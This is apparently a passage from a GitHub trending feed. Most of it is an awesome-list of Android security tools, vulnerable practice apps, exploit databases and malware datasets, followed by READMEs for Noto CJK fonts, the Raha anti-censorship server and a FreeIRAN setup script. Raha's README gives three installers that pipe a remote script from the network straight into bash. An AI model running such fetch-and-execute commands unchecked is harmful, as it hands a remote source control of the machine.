src="https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg?sanitize=true" alt="Awesome"></h1> <p><a href="https://github.com/ashishb/android-security-awesome/actions/workflows/validate-links.yml"><img src="https://github.com/ashishb/android-security-awesome/actions/workflows/validate-links.yml/badge.svg?sanitize=true" alt="Link Liveness Checker"></a> <a href="https://github.com/ashishb/android-security-awesome/actions/workflows/lint-shell-script.yaml"><img src="https://github.com/ashishb/android-security-awesome/actions/workflows/lint-shell-script.yaml/badge.svg?sanitize=true" alt="Lint Shell scripts"></a> <a href="https://github.com/ashishb/android-security-awesome/actions/workflows/lint-markdown.yaml"><img src="https://github.com/ashishb/android-security-awesome/actions/workflows/lint-markdown.yaml/badge.svg?sanitize=true" alt="Lint Markdown"></a> <a href="https://github.com/ashishb/android-security-awesome/actions/workflows/lint-yaml.yaml"><img src="https://github.com/ashishb/android-security-awesome/actions/workflows/lint-yaml.yaml/badge.svg?sanitize=true" alt="Lint YAML"></a></p> <p>A collection of Android security-related resources.</p> <ol> <li><a href="https://raw.githubusercontent.com/ashishb/android-security-awesome/master/#tools">Tools</a></li> <li><a href="https://raw.githubusercontent.com/ashishb/android-security-awesome/master/#academic">Academic/Research/Publications/Books</a></li> <li><a href="https://raw.githubusercontent.com/ashishb/android-security-awesome/master/#exploits">Exploits/Vulnerabilities/Bugs</a></li> </ol> <h2>Tools</h2> <h3>Online Analyzers</h3> <ol> <li><a href="http://andrototal.org/">AndroTotal</a></li> <li><a href="https://www.appknox.com/">Appknox</a> - not free</li> <li><a href="https://www.virustotal.com/">Virustotal</a> - max 128MB</li> <li><a href="http://app-ray.co/">Fraunhofer App-ray</a> - not free</li> <li><a href="https://www.nowsecure.com/blog/2016/09/19/announcing-nowsecure-lab-automated/">NowSecure Lab Automated</a> - Enterprise tool for mobile app security testing both Android and iOS mobile apps. Lab Automated features dynamic and static analysis on real devices in the cloud to return results in minutes. Not free</li> <li><a href="https://appdetonator.run/">App Detonator</a> - Detonate APK binary to provide source code level details including app author, signature, build, and manifest information. 3 Analysis/day free quota.</li> <li><a href="https://beta.pithus.org/">Pithus</a> - Open-Source APK analyzer. Still in Beta for the moment and limited to static analysis for the moment. Possible to hunt malware with Yara rules. More <a href="https://beta.pithus.org/about/">here</a>.</li> <li><a href="https://approver.talos-sec.com/">Approver</a> - Approver is a fully automated security analysis and risk assessment platform for Android and iOS apps. Not free.</li> <li><a href="https://oversecured.com/">Oversecured</a> - Enterprise vulnerability scanner for Android and iOS apps, it offers app owners and developers the ability to secure each new version of a mobile app by integrating Oversecured into the development process. Not free.</li> <li><a href="https://appsweep.guardsquare.com/">AppSweep by Guardsquare</a> - Free, fast Android application security testing for developers</li> <li><a href="https://koodous.com">Koodous</a> - Performs static/dynamic malware analysis over a vast repository of Android samples and checks them against public and private Yara rules.</li> <li><del><a href="https://malab.bitbaan.com/">BitBaan</a></del></li> <li><del><a href="http://undroid.av-comparatives.info/">AVC UnDroid</a></del></li> <li><del><a href="https://amaaas.com">AMAaaS</a> - Free Android Malware Analysis Service. A bare-metal service features static and dynamic analysis for Android applications. A product of <a href="https://malwarepot.com/index.php/AMAaaS">MalwarePot</a></del>.</li> <li><del><a href="https://appcritique.boozallen.com">AppCritique</a> - Upload your Android APKs and receive comprehensive free security assessments</del></li> <li><del><a href="https://apkscan.nviso.be/">NVISO ApkScan</a> - sunsetting on Oct 31, 2019</del></li> <li><del><a href="http://www.mobilemalware.com.br/analysis/index_en.php">Mobile Malware Sandbox</a></del></li> <li><del><a href="https://appscan.bluemix.net/mobileAnalyzer">IBM Security AppScan Mobile Analyzer</a> - not free</del></li> <li><del><a href="https://www.visualthreat.com/">Visual Threat</a> - no longer an Android app analyzer</del></li> <li><del><a href="http://tracedroid.few.vu.nl/">Tracedroid</a></del></li> <li><del><a href="https://habo.qq.com/">habo</a> - 10/day</del></li> <li><del><a href="http://copperdroid.isg.rhul.ac.uk/copperdroid/">CopperDroid</a></del></li> <li><del><a href="http://sanddroid.xjtu.edu.cn/">SandDroid</a></del></li> <li><del><a href="http://www.android-permissions.org/">Stowaway</a></del></li> <li><del><a href="http://anubis.iseclab.org/">Anubis</a></del></li> <li><del><a href="http://www.mobile-app-insight.org">Mobile app insight</a></del></li> <li><del><a href="http://mobile-sandbox.com">Mobile-Sandbox</a></del></li> <li><del><a href="http://safe.ijiami.cn/">Ijiami</a></del></li> <li><del><a href="http://www.comdroid.org/">Comdroid</a></del></li> <li><del><a href="http://www.androidsandbox.net/">Android Sandbox</a></del></li> <li><del><a href="http://www.foresafe.com/scan">Foresafe</a></del></li> <li><del><a href="https://dexter.dexlabs.org/">Dexter</a></del></li> <li><del><a href="http://www.mobiseclab.org/eacus.jsp">MobiSec Eacus</a></del></li> <li><del><a href="https://fireeye.ijinshan.com/">Fireeye</a>- max 60MB 15/day</del></li> </ol> <h3>Static Analysis Tools</h3> <ol> <li><a href="https://github.com/maaaaz/androwarn/">Androwarn</a> - detect and warn the user about potential malicious behaviors developed by an Android application.</li> <li><a href="https://github.com/sonyxperiadev/ApkAnalyser">ApkAnalyser</a></li> <li><a href="https://github.com/honeynet/apkinspector/">APKInspector</a></li> <li><a href="https://www.cert.org/secure-coding/tools/didfail.cfm">Droid Intent Data Flow Analysis for Information Leakage</a></li> <li><a href="https://bitbucket.org/srl/droidlegacy">DroidLegacy</a></li> <li><del><a href="https://github.com/EugenioDelfa/Smali-CFGs">Smali CFG generator</a></del></li> <li><a href="https://blogs.uni-paderborn.de/sse/tools/flowdroid/">FlowDroid</a></li> <li><a href="https://www.pnfsoftware.com/">Android Decompiler</a> – not free</li> <li><a href="https://security.csl.toronto.edu/pscout/">PSCout</a> - A tool that extracts the permission specification from the Android OS source code using static analysis</li> <li><a href="http://amandroid.sireum.org/">Amandroid</a></li> <li><a href="https://github.com/dorneanu/smalisca">SmaliSCA</a> - Smali Static Code Analysis</li> <li><a href="https://github.com/douggard/CFGScanDroid">CFGScanDroid</a> - Scans and compares CFG against CFG of malicious applications</li> <li><a href="https://github.com/maldroid/maldrolyzer">Madrolyzer</a> - extracts actionable data like C&amp;C, phone number etc.</li> <li><a href="https://www.cs.washington.edu/sparta">SPARTA</a> - verifies (proves) that an app satisfies an information-flow security policy; built on the <a href="https://types.cs.washington.edu/checker-framework/">Checker Framework</a></li> <li><a href="https://github.com/JulianSchuette/ConDroid">ConDroid</a> - Performs a combination of symbolic + concrete execution of the app</li> <li><a href="https://github.com/serval-snt-uni-lu/DroidRA">DroidRA</a></li> <li><a href="https://github.com/ClaudiuGeorgiu/RiskInDroid">RiskInDroid</a> - A tool for calculating the risk of Android apps based on their permissions, with an online demo available.</li> <li><a href="https://github.com/SUPERAndroidAnalyzer/super">SUPER</a> - Secure, Unified, Powerful and Extensible Rust Android Analyzer</li> <li><a href="https://github.com/google/android-classyshark">ClassyShark</a> - Standalone binary inspection tool which can browse any Android executable and show important info.</li> <li><a href="https://github.com/vincentcox/StaCoAn">StaCoAn</a> - Cross-platform tool which aids developers, bug-bounty hunters, and ethical hackers in performing static code analysis on mobile applications. This tool was created with a big focus on usability and graphical guidance in the user interface.</li> <li><a href="https://github.com/flankerhqd/JAADAS">JAADAS</a> - Joint intraprocedural and interprocedural program analysis tool to find vulnerabilities in Android apps, built on Soot and Scala</li> <li><a href="https://github.com/quark-engine/quark-engine">Quark-Engine</a> - An Obfuscation-Neglect Android Malware Scoring System</li> <li><a href="https://github.com/b-mueller/apkx">One Step Decompiler</a> - Android APK Decompilation for the Lazy</li> <li><a href="https://github.com/dwisiswant0/apkleaks">APKLeaks</a> - Scanning APK file for URIs, endpoints &amp; secrets.</li> <li><a href="https://github.com/mpast/mobileAudit">Mobile Audit</a> - Web application for performing Static Analysis and detecting malware in Android APKs.</li> <li><del><a href="http://siis.cse.psu.edu/tools.html">Several tools from PSU</a></del></li> </ol> <h3>App Vulnerability Scanners</h3> <ol> <li><a href="https://github.com/linkedin/qark/">QARK</a> - QARK by LinkedIn is for app developers to scan apps for security issues</li> <li><a href="https://github.com/AndroBugs/AndroBugs_Framework">AndroBugs</a></li> <li><a href="https://github.com/google/nogotofail">Nogotofail</a></li> <li><del><a href="https://devknox.io/">Devknox</a> - IDE plugin to build secure Android apps. Not maintained anymore.</del></li> </ol> <h3>Dynamic Analysis Tools</h3> <ol> <li><a href="http://www.mulliner.org/blog/blosxom.cgi/security/androiddbiv02.html">Android DBI frameowork</a></li> <li><a href="https://github.com/sh4hin/Androl4b">Androl4b</a>- A Virtual Machine For Assessing Android applications, Reverse Engineering and Malware Analysis</li> <li><a href="https://github.com/nccgroup/house">House</a>- House: A runtime mobile application analysis toolkit with a Web GUI, powered by Frida, written in Python.</li> <li><a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">Mobile-Security-Framework MobSF</a> - Mobile Security Framework is an intelligent, all-in-one open-source mobile application (Android/iOS) automated pen-testing framework capable of performing static, dynamic analysis and web API testing.</li> <li><a href="https://appsec-labs.com/AppUse/">AppUse</a> – custom build for penetration testing</li> <li><a href="https://github.com/pjlantz/droidbox">Droidbox</a></li> <li><a href="https://github.com/mwrlabs/drozer">Drozer</a></li> <li><a href="https://forum.xda-developers.com/xposed/xposed-installer-versions-changelog-t2714053">Xposed</a> - equivalent of doing Stub-based code injection but without any modifications to the binary</li> <li><a href="https://github.com/ac-pm/Inspeckage">Inspeckage</a> - Android Package Inspector - dynamic analysis with API hooks, start unexported activities, and more. (Xposed Module)</li> <li><a href="https://github.com/AndroidHooker/hooker">Android Hooker</a> - Dynamic Java code instrumentation (requires the Substrate Framework)</li> <li><a href="https://github.com/ZSShen/ProbeDroid">ProbeDroid</a> - Dynamic Java code instrumentation</li> <li><del><a href="https://androidtamer.com/">Android Tamer</a> - Virtual / Live Platform for Android Security Professionals</del></li> <li><a href="https://github.com/sycurelab/DECAF">DECAF</a> - Dynamic Executable Code Analysis Framework based on QEMU (DroidScope is now an extension to DECAF)</li> <li><a href="https://github.com/idanr1986/cuckoo-droid">CuckooDroid</a> - Android extension for Cuckoo sandbox</li> <li><a href="https://github.com/MobileForensicsResearch/mem">Mem</a> - Memory analysis of Android (root required)</li> <li><a href="http://www.ida.liu.se/labs/rtslab/publications/2011/spsm11-burguera.pdf">Crowdroid</a> – unable to find the actual tool</li> <li><a href="https://github.com/nwhusted/AuditdAndroid">AuditdAndroid</a> – android port of auditd, not under active development anymore</li> <li><a href="https://code.google.com/p/asef/">Android Security Evaluation Framework</a> - not under active development anymore</li> <li><a href="https://github.com/xurubin/aurasium">Aurasium</a> – Practical security policy enforcement for Android apps via bytecode rewriting and in-place reference monitor.</li> <li><a href="https://github.com/strazzere/android-lkms">Android Linux Kernel modules</a></li> <li><a href="https://manifestsecurity.com/appie/">Appie</a> - Appie is a software package that has been pre-configured to function as an Android Pentesting Environment. It is completely portable and can be carried on a USB stick or smartphone. This is a one-stop answer for all the tools needed in Android Application Security Assessment and an awesome alternative to existing virtual machines.</li> <li><a href="https://github.com/zyrikby/StaDynA">StaDynA</a> - a system supporting security app analysis in the presence of dynamic code update features (dynamic class loading and reflection). This tool combines static and dynamic analysis of Android applications in order to reveal the hidden/updated behavior and extend static analysis results with this information.</li> <li><a href="https://github.com/zhengmin1989/DroidAnalytics">DroidAnalytics</a> - incomplete</li> <li><a href="https://github.com/oguzhantopgul/Vezir-Project">Vezir Project</a> - Virtual Machine for Mobile Application Pentesting and Mobile Malware Analysis</li> <li><a href="https://github.com/xtiankisutsa/MARA_Framework">MARA</a> - Mobile Application Reverse Engineering and Analysis Framework</li> <li><a href="http://appanalysis.org">Taintdroid</a> - requires AOSP compilation</li> <li><a href="https://artist.cispa.saarland">ARTist</a> - a flexible open-source instrumentation and hybrid analysis framework for Android apps and Android's Java middleware. It is based on the Android Runtime's (ART) compiler and modifies code during on-device compilation.</li> <li><a href="https://github.com/Areizen/Android-Malware-Sandbox">Android Malware Sandbox</a></li> <li><a href="https://github.com/alexMyG/AndroPyTool">AndroPyTool</a> - a tool for extracting static and dynamic features from Android APKs. It combines different well-known Android app analysis tools such as DroidBox, FlowDroid, Strace, AndroGuard, or VirusTotal analysis.</li> <li><a href="https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security">Runtime Mobile Security (RMS)</a> - is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime</li> <li><a href="https://github.com/Dado1513/PAPIMonitor">PAPIMonitor</a> – PAPIMonitor (Python API Monitor for Android apps) is a Python tool based on Frida for monitoring user-select APIs during the app execution.</li> <li><a href="https://github.com/NotSoSecure/android_application_analyzer">Android_application_analyzer</a> - The tool is used to analyze the content of the Android application in local storage.</li> <li><del><a href="http://www.mobilemalware.com.br/amat/download.html">Android Malware Analysis Toolkit</a> - (Linux distro) Earlier it use to be an <a href="http://dunkelheit.com.br/amat/analysis/index_en.php">online analyzer</a></del></li> <li><del><a href="https://redmine.honeynet.org/projects/are/wiki">Android Reverse Engineering</a> – ARE (android reverse engineering) not under active development anymore</del></li> <li><del><a href="https://www.nowsecure.com/blog/2014/09/09/introducing-vialab-community-edition/">ViaLab Community Edition</a></del></li> <li><del><a href="https://labs.mwrinfosecurity.com/tools/2012/03/16/mercury/">Mercury</a></del></li> <li><del><a href="https://thecobraden.com/projects/cobradroid/">Cobradroid</a> – custom image for malware analysis</del></li> </ol> <h3>Reverse Engineering</h3> <ol> <li><a href="https://github.com/JesusFreke/smali">Smali/Baksmali</a> – apk decompilation</li> <li><a href="https://github.com/strazzere/Emacs-Smali">emacs syntax coloring for smali files</a></li> <li><a href="http://codetastrophe.com/smali.vim">vim syntax coloring for smali files</a></li> <li><a href="https://github.com/swdunlop/AndBug">AndBug</a></li> <li><a href="https://github.com/androguard/androguard">Androguard</a> – powerful, integrates well with other tools</li> <li><a href="https://ibotpeaches.github.io/Apktool/">Apktool</a> – really useful for compilation/decompilation (uses smali)</li> <li><a href="https://github.com/appknox/AFE">Android Framework for Exploitation</a></li> <li><a href="https://github.com/iSECPartners/Android-KillPermAndSigChecks">Bypass signature and permission checks for IPCs</a></li> <li><a href="https://github.com/iSECPartners/Android-OpenDebug">Android OpenDebug</a> – make any application on the device debuggable (using cydia substrate).</li> <li><a href="https://github.com/pxb1988/dex2jar">Dex2Jar</a> - dex to jar converter</li> <li><a href="https://github.com/google/enjarify">Enjarify</a> - dex to jar converter from Google</li> <li><a href="https://sourceforge.net/projects/dedexer/">Dedexer</a></li> <li><a href="https://github.com/sysdream/fino">Fino</a></li> <li><a href="https://www.frida.re/">Frida</a> - inject javascript to explore applications and a <a href="https://github.com/antojoseph/diff-gui">GUI tool</a> for it</li> <li><a href="https://bitbucket.org/aseemjakhar/indroid">Indroid</a> – thread injection kit</li> <li><a href="https://www.nccgroup.com/us/our-research/intent-sniffer/">IntentSniffer</a></li> <li><a href="https://github.com/iSECPartners/Introspy-Android">Introspy</a></li> <li><a href="https://varaneckas.com/jad/">Jad</a> - Java decompiler</li> <li><a href="https://github.com/java-decompiler/jd-gui">JD-GUI</a> - Java decompiler</li> <li><a href="http://www.benf.org/other/cfr/">CFR</a> - Java decompiler</li> <li><a href="https://github.com/Storyyeller/Krakatau">Krakatau</a> - Java decompiler</li> <li><a href="https://github.com/fesh0r/fernflower">FernFlower</a> - Java decompiler</li> <li><a href="https://github.com/plum-umd/redexer">Redexer</a> – apk manipulation</li> <li><a href="https://github.com/CalebFenton/simplify">Simplify Android deobfuscator</a></li> <li><a href="https://github.com/Konloch/bytecode-viewer">Bytecode viewer</a></li> <li><a href="https://github.com/radare/radare2">Radare2</a></li> <li><a href="https://github.com/skylot/jadx">Jadx</a></li> <li><a href="https://github.com/iGio90/Dwarf">Dwarf</a> - GUI for reverse engineering</li> <li><a href="https://github.com/secrary/Andromeda">Andromeda</a> - Another basic command-line reverse engineering tool</li> <li><a href="https://github.com/shroudedcode/apk-mitm">apk-mitm</a> - A CLI application that prepares Android APK files for HTTPS inspection</li> <li><a href="https://github.com/0x742/noia">Noia</a> - Simple Android application sandbox file browser tool</li> <li><a href="https://github.com/ClaudiuGeorgiu/Obfuscapk">Obfuscapk</a> - Obfuscapk is a modular Python tool for obfuscating Android apps without needing their source code.</li> <li><a href="https://github.com/Mobile-IoT-Security-Lab/ARMANDroid">ARMANDroid</a> - ARMAND (Anti-Repackaging through Multi-patternAnti-tampering based on Native Detection) is a novel anti-tampering protection scheme that embeds logic bombs and AT detection nodes directly in the apk file without needing their source code.</li> <li><a href="https://github.com/mvt-project/mvt">MVT (Mobile Verification Toolkit)</a> - a collection of utilities to simplify and automate the process of gathering forensic traces helpful to identify a potential compromise of Android and iOS devices</li> <li><del><a href="https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler">Procyon</a> - Java decompiler</del></li> <li><del><a href="http://blog.avlyun.com/wp-content/uploads/2014/04/SmaliViewer.zip">Smali viewer</a></del></li> <li><del><a href="https://github.com/BaiduSecurityLabs/ZjDroid">ZjDroid</a></del>, <del><a href="https://github.com/yangbean9/ZjDroid">fork/mirror</a></del></li> <li><del><a href="http://siis.cse.psu.edu/dare/index.html">Dare</a> – .dex to .class converter</del></li> <li><a href="https://www.decompiler.com/">Decompiler.com</a> - Online APK and Java decompiler</li> </ol> <h3>Fuzz Testing</h3> <ol> <li><a href="https://github.com/anestisb/radamsa-android">Radamsa Fuzzer</a></li> <li><a href="https://github.com/google/honggfuzz">Honggfuzz</a></li> <li><a href="https://github.com/anestisb/melkor-android">An Android port of the Melkor ELF fuzzer</a></li> <li><a href="https://github.com/fuzzing/MFFA">Media Fuzzing Framework for Android</a></li> <li><a href="https://github.com/jonmetz/AndroFuzz">AndroFuzz</a></li> <li><a href="https://github.com/quarkslab/android-fuzzing">QuarksLab's Android Fuzzing</a></li> <li><del><a href="https://www.nccgroup.trust/us/about-us/resources/intent-fuzzer/">IntentFuzzer</a></del></li> </ol> <h3>App Repackaging Detectors</h3> <ol> <li><a href="https://github.com/zyrikby/FSquaDRA">FSquaDRA</a> - a tool for the detection of repackaged Android applications based on app resources hash comparison.</li> </ol> <h3>Market Crawlers</h3> <ol> <li><a href="https://github.com/Akdeniz/google-play-crawler">Google Play crawler (Java)</a></li> <li><a href="https://github.com/egirault/googleplay-api">Google Play crawler (Python)</a></li> <li><a href="https://github.com/dweinstein/node-google-play">Google Play crawler (Node)</a> - get app details and download apps from the official Google Play Store.</li> <li><a href="https://github.com/dweinstein/node-aptoide">Aptoide downloader (Node)</a> - download apps from Aptoide third-party Android market</li> <li><a href="https://github.com/dweinstein/node-appland">Appland downloader (Node)</a> - download apps from Appland third-party Android market</li> <li><a href="https://apkpure.com/">Apkpure</a> - Online apk downloader. Provides also its own app for downloading.</li> <li><a href="https://github.com/ClaudiuGeorgiu/PlaystoreDownloader">PlaystoreDownloader</a> - PlaystoreDownloader is a tool for downloading Android applications directly from the Google Play Store. After an initial (one-time) configuration, applications can be downloaded by specifying their package name.</li> <li><a href="https://apkcombo.com/apk-downloader/">APK Downloader</a> Online Service to download APK from Playstore for specific Android Device Configuration</li> </ol> <h3>Misc Tools</h3> <ol> <li><a href="http://androidcracking.blogspot.com/2011/03/original-smalihook-java-source.html">smalihook</a></li> <li><a href="http://code.google.com/p/android4me/downloads/detail?name=AXMLPrinter2.jar">AXMLPrinter2</a> - to convert binary XML files to human-readable XML files</li> <li><a href="https://github.com/mbrubeck/android-completion">adb autocomplete</a></li> <li><a href="https://github.com/mitmproxy/mitmproxy">mitmproxy</a></li> <li><a href="https://github.com/dweinstein/dockerfile-androguard">dockerfile/androguard</a></li> <li><a href="https://github.com/AndroidVTS/android-vts">Android Vulnerability Test Suite</a> - android-vts scans a device for set of vulnerabilities</li> <li><a href="https://github.com/dpnishant/appmon">AppMon</a>- AppMon is an automated framework for monitoring and tampering with system API calls of native macOS, iOS, and Android apps. It is based on Frida.</li> <li><a href="https://github.com/seemoo-lab/internalblue">Internal Blue</a> - Bluetooth experimentation framework based on Reverse Engineering of Broadcom Bluetooth Controllers</li> <li><a href="https://github.com/SecTheTech/AMDH">Android Mobile Device Hardening</a> - AMDH scans and hardens the device's settings and lists harmful installed Apps based on permissions.</li> <li><del><a href="https://www.android-device-security.org/client/datatable">Android Device Security Database</a> - Database of security features of Android devices</del></li> <li><del><a href="http://ww38.xchg.info/corkami/opcodes_tables.pdf">Opcodes table for quick reference</a></del></li> <li><del><a href="http://codekiem.com/2012/02/24/apk-downloader/">APK-Downloader</a></del> - seems dead now</li> <li><del><a href="http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html">Dalvik opcodes</a></del></li> </ol> <h3>Vulnerable Applications for practice</h3> <ol> <li><a href="https://github.com/payatu/diva-android">Damn Insecure Vulnerable Application (DIVA)</a></li> <li><a href="https://github.com/jaiswalakshansh/Vuldroid">Vuldroid</a></li> <li><a href="http://securitycompass.github.io/AndroidLabs/setup.html">ExploitMe Android Labs</a></li> <li><a href="https://github.com/jackMannino/OWASP-GoatDroid-Project">GoatDroid</a></li> <li><a href="https://github.com/dineshshetty/Android-InsecureBankv2">Android InsecureBank</a></li> <li><a href="https://github.com/optiv/insecureshop">Insecureshop</a></li> <li><a href="https://github.com/oversecured/ovaa">Oversecured Vulnerable Android App (OVAA)</a></li> </ol> <h2>Academic/Research/Publications/Books</h2> <h3>Research Papers</h3> <ol> <li><a href="https://www.exploit-db.com/papers/">Exploit Database</a></li> <li><a href="https://github.com/jacobsoo/AndroidSlides">Android security-related presentations</a></li> <li><a href="https://tthtlc.wordpress.com/2011/09/01/static-analysis-of-android-applications/">A good collection of static analysis papers</a></li> </ol> <h3>Books</h3> <ol> <li><a href="https://www.securecoding.cert.org/confluence/display/android/Android+Secure+Coding+Standard">SEI CERT Android Secure Coding Standard</a></li> </ol> <h3>Others</h3> <ol> <li><a href="https://github.com/OWASP/owasp-mstg">OWASP Mobile Security Testing Guide Manual</a></li> <li><a href="https://github.com/doridori/Android-Security-Reference">doridori/Android-Security-Reference</a></li> <li><a href="https://github.com/b-mueller/android_app_security_checklist">android app security checklist</a></li> <li><a href="https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet">Mobile App Pentest Cheat Sheet</a></li> <li><a href="http://web.archive.org/web/20180721134044/http://www.fasteque.com:80/android-reverse-engineering-101-part-1/">Android Reverse Engineering 101 by Daniele Altomare (Web Archive link)</a></li> <li><del><a href="https://mobile-security.zeef.com">Mobile Security Reading Room</a> - A reading room that contains well-categorized technical reading material about mobile penetration testing, mobile malware, mobile forensics, and all kind of mobile security-related topics</del></li> </ol> <h2>Exploits/Vulnerabilities/Bugs</h2> <h3>List</h3> <ol> <li><a href="https://source.android.com/security/bulletin/">Android Security Bulletins</a></li> <li><a href="https://www.cvedetails.com/vulnerability-list/vendor_id-1224/product_id-19997/Google-Android.html">Android's reported security vulnerabilities</a></li> <li><a href="https://code.google.com/p/android/issues/list?can=2&amp;q=priority=Critical&amp;sort=-opened">AOSP - Issue tracker</a></li> <li><a href="https://www.owasp.org/index.php/Mobile_Top_10_2016-Top_10">OWASP Mobile Top 10 2016</a></li> <li><a href="https://www.exploit-db.com/search/?action=search&amp;q=android">Exploit Database</a> - click search</li> <li><a href="https://docs.google.com/spreadsheet/pub?key=0Am5hHW4ATym7dGhFU1A4X2lqbUJtRm1QSWNRc3E0UlE&amp;single=true&amp;gid=0&amp;output=html">Vulnerability Google Doc</a></li> <li><a href="https://source.android.com/security/reports/Google_Android_Security_PHA_classifications.pdf">Google Android Security Team’s Classifications for Potentially Harmful Applications (Malware)</a></li> <li><del><a href="https://kb.androidtamer.com/Device_Security_Patch_tracker/">Android Devices Security Patch Status</a></del></li> </ol> <h3>Malware</h3> <ol> <li><a href="https://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares">androguard - Database Android Malware wiki</a></li> <li><a href="https://github.com/ashishb/android-malware">Android Malware Github repo</a></li> <li><a href="http://www.malgenomeproject.org/policy.html">Android Malware Genome Project</a> - contains 1260 malware samples categorized into 49 different malware families, free for research purposes.</li> <li><a href="http://contagiominidump.blogspot.com">Contagio Mobile Malware Mini Dump</a></li> <li><a href="https://www.sec.tu-bs.de/~danarp/drebin/">Drebin</a></li> <li><a href="http://kharon.gforge.inria.fr/dataset/">Kharon Malware Dataset</a> - 7 malware which have been reverse-engineered and documented</li> <li><a href="https://www.unb.ca/cic/datasets/android-adware.html">Android Adware and General Malware Dataset</a></li> <li><a href="https://androzoo.uni.lu/">AndroZoo</a> - AndroZoo is a growing collection of Android Applications collected from several sources, including the official Google Play app market.</li> <li><del><a href="http://pralab.diee.unica.it/en/AndroidPRAGuardDataset">Android PRAGuard Dataset</a> - The dataset contains 10479 samples, obtained by obfuscating the MalGenome and the Contagio Minidump datasets with seven different obfuscation techniques.</del></li> <li><del><a href="http://admire.necst.it/">Admire</a></del></li> </ol> <h3>Bounty Programs</h3> <ol> <li><a href="https://www.google.com/about/appsecurity/android-rewards/">Android Security Reward Program</a></li> </ol> <h3>How to report Security issues</h3> <ol> <li><a href="https://source.android.com/security/overview/updates-resources.html#report-issues">Android - reporting security issues</a></li> <li><a href="https://github.com/B3nac/Android-Reports-and-Resources">Android Reports and Resources</a> - List of Android Hackerone disclosed reports and other resources</li> </ol> <h2>Contributing</h2> <p>Your contributions are always welcome!</p> - - - notofonts/noto-cjk - 2023-09-24T01:41:30Z - tag:github.com,2023-09-24:/notofonts/noto-cjk - - <p>Noto CJK fonts</p><hr><h1>Noto CJK fonts</h1> <p>Download individual fonts from the download guides for <a href="https://github.com/googlefonts/noto-cjk/tree/main/Sans#downloading-noto-sans-cjk">Noto Sans CJK</a> or <a href="https://github.com/googlefonts/noto-cjk/tree/main/Serif#downloading-noto-serif-cjk">Noto Serif CJK</a> or look in <a href="https://github.com/googlefonts/noto-cjk/releases">Releases</a></p> <p>Release notes and version history are documented separately for <a href="https://github.com/googlefonts/noto-cjk/raw/main/Sans/NEWS.md#noto-sans-cjk-release-notes">Sans</a> and <a href="https://github.com/googlefonts/noto-cjk/raw/main/Serif/NEWS.md#noto-serif-cjk-release-notes">Serif</a></p> <p>Noto CJK fonts are also available on <a href="https://fonts.google.com/noto/fonts">Google Fonts</a> but under different names than in this repository. The two letter code here is replaced at Google Fonts as follows:</p> <ul> <li><em>JP</em> -&gt; <em>Japanese</em></li> <li><em>KR</em> -&gt; <em>Korean</em></li> <li><em>SC</em> -&gt; <em>Simplified Chinese</em></li> <li><em>TC</em> -&gt; <em>Traditional Chinese</em></li> <li><em>HK</em> -&gt; <em>Hong Kong</em></li> </ul> - - - Raha-Project/Raha - 2023-09-24T01:41:30Z - tag:github.com,2023-09-24:/Raha-Project/Raha - - <p></p><hr><h1>Raha Project</h1> <p><a href="https://raw.githubusercontent.com/Raha-Project/Raha/main/README-FA.md">فارسی</a></p> <p>Reaha project provide you micro-service based applications to use must powerfull anti-internet-sensorship platforms.</p> <p>It contains serveral parts:</p> <ol> <li><a href="https://github.com/Raha-Project/raha-xray">Raha-Xray</a> : A backend api server for run and control <a href="https://github.com/XTLS/Xray-core">xray-core</a></li> <li><code>Raha-*</code> : Reserved for other backend api apps</li> <li><code>Raha-Panel</code> (coming soon...) : A unified multi server web panel to control all servers' api backends</li> <li><a href="https://github.com/Raha-Project/raha-docs">Raha-Docs</a> (TEMPORARY) : A simple documentation for using all parts of <code>Raha-Project</code></li> <li><a href="https://raha-project.github.io">Raha-Project.github.io</a> (coming soon...) : Documentation website</li> </ol> <h2>Raha-Xray</h2> <ul> <li>This app will control and configure all you need from <code>xray-core</code> and provide you an api.</li> <li>You can install it several servers and control it by a web pannel or application server.</li> <li>It support <code>SQLite</code> simple database and optional <code>MySQL</code> database for advanced ussage.</li> </ul> <h3>Installation methods</h3> <p>You can use these links for installation and update to lates version.</p> <h4>1. Install <code>raha-xray</code> using <code>SQLite</code> database</h4> <pre><code class="language-sh">bash &lt;(curl -Ls https://raw.githubusercontent.com/Raha-Project/Raha/master/install.sh) </code></pre> <h4>2. Install <code>raha-xray</code> with <code>MySQL</code> database</h4> <pre><code class="language-sh">bash &lt;(curl -Ls https://raw.githubusercontent.com/Raha-Project/Raha/master/linuxMySQL/install.sh) </code></pre> <h4>3. Install <code>raha-xray</code> + <code>MySQL</code> using <code>docker</code> and <code>docker-compose</code> (Recommended for Test)</h4> <pre><code class="language-sh">bash &lt;(curl -Ls https://raw.githubusercontent.com/Raha-Project/Raha/master/dockerMySQL/install.sh) </code></pre> + ErfanNamira/FreeIRAN + 2023-09-25T01:40:37Z + tag:github.com,2023-09-25:/ErfanNamira/FreeIRAN + + <p>A Simple Bash Script With TUI For SettingUp Ubuntu Server</p><hr><h1>FreeIRAN 🕊️</h1> <p>🌟 A Simple Bash Script With TUI For Setting Up Ubuntu Server</p> <p>🏹 Brave hearts unite for a Free Iran, lighting the path to a brighter future with unwavering determination.</p> <p>What does this script do? you can select to:</p> <ol> <li>Update &amp; Cleanup Server 🧬</li> <li>Install Essential Packages 🎉</li> <li>Install Speedtest 🚀</li> <li>Create SWAP File 💾</li> <li>Enable BBR 🛸</li> <li>Enable Hybla 🌐</li> <li>Schedule Automatic Updates &amp; Restarts at 01:00 GMT+3:30 ⏳</li> <li>Install Multiprotocol VPN Panels (Alireza/MHSanaei/Reality-EZPZ/vaxilu/FranzKafkaYu) 🦄</li> <li>Obtain SSL Certificates 🗺️</li> <li>Install Pi-Hole network-wide Adblocker 🛡️</li> <li>Change SSH Port 🥅</li> <li>Enable UFW 🔒</li> <li>Install &amp; Configure WARP Proxy ✨</li> <li>Install Erlang MTProto Proxy 💫</li> <li>Setup Hysteria II 🌈</li> <li>Setup TUIC v5 🔥</li> <li>Setup Juicity 🍹</li> <li>Setup WireGuard ♟️</li> <li>Setup OpenVPN 🎗️</li> <li>Setup IKEv2/IPsec 🧭</li> 